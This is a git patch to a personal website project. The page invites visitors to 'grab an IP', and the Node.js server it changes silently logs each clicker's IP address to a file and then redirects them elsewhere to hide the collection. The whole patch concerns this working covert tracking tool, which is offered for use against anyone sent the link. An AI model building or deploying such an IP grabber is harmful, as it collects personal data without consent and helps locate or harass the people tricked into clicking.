From 9244f7f4a485f109cd8ac489756a1bb9800af1d9 Mon Sep 17 00:00:00 2001 From: array-in-a-matrix Date: Sun, 23 Jan 2022 03:31:36 -0500 Subject: [PATCH] idk --- index/projects/surprise/index.html | 2 +- server/ip-grabber/index.js | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/index/projects/surprise/index.html b/index/projects/surprise/index.html index 0f834be..5f98524 100644 --- a/index/projects/surprise/index.html +++ b/index/projects/surprise/index.html @@ -29,7 +29,7 @@

Grab an IP with the link below!

- Grabber Link + Grabber Link


diff --git a/server/ip-grabber/index.js b/server/ip-grabber/index.js index 29d0f34..5c8c667 100644 --- a/server/ip-grabber/index.js +++ b/server/ip-grabber/index.js @@ -4,12 +4,16 @@ const file = require('fs'); const requestIp = require('request-ip'); const redirect = require('connect-redirection') -console.log("########## IP LOGGER STARTED ##########") +let redirectURL = 'http://arrayinamatrix.xyz' +let port = 3030 +console.log(`Redirect: ${redirectURL}`); +console.log(`Port: ${port}`) +console.log("########## IP LOGGER STARTED ##########"); const app = connect() .use(requestIp.mw()) .use(redirect()) .use(function (req, res) { - res.redirect('http://127.0.0.1:3000') + res.redirect(redirectURL) const ip = req.clientIp; console.log(ip); file.appendFile("ip-addresses.log", ip + '\n', (e) => { @@ -20,4 +24,4 @@ const app = connect() }); -http.createServer(app).listen(3030); \ No newline at end of file +http.createServer(app).listen(port); \ No newline at end of file